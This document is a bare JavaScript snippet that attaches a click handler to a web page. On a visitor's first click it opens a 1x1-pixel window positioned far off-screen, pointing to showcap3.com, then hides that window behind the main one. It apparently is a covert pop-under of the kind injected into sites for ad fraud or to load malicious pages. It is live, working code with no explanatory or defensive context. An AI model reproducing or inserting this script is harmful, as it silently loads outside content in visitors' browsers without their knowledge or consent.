 
 
 
function addEvent(obj, eventName, func){
 
    if (obj.attachEvent)
 
    {
 
    obj.attachEvent("on" + eventName, func); }
 
    else if(obj.addEventListener)
 
    {
 
    obj.addEventListener(eventName, func, true);  }
 
    else
 
    {
 
    obj["on" + eventName] = func;} }
 
    addEvent(window, "load", function(e){
 
        addEvent(document.body, "click", function(e)
 
        {
 
      var pX;
 
      pX =screen.width;
 
      if (!pX){
 
        pX = document.documentElement.clientWidth ? document.documentElement.clientWidth : document.body.clientWidth;  }
 
    if(pX > 800){
 
          if(document.cookie.indexOf("pnpopup=popactive") == -1)
 
              {
 
        document.cookie='pnpopup=popactive';             
 
            params = 'width=1';
 
            params += ', height=1';
 
        params += ', top=8000, left=9000, resizable=0, scrollbars=0, location=0';
 
        var w = window.open("http://showcap3.com", 'window1', params).blur();
 
 
        window.focus();  } } });
}); 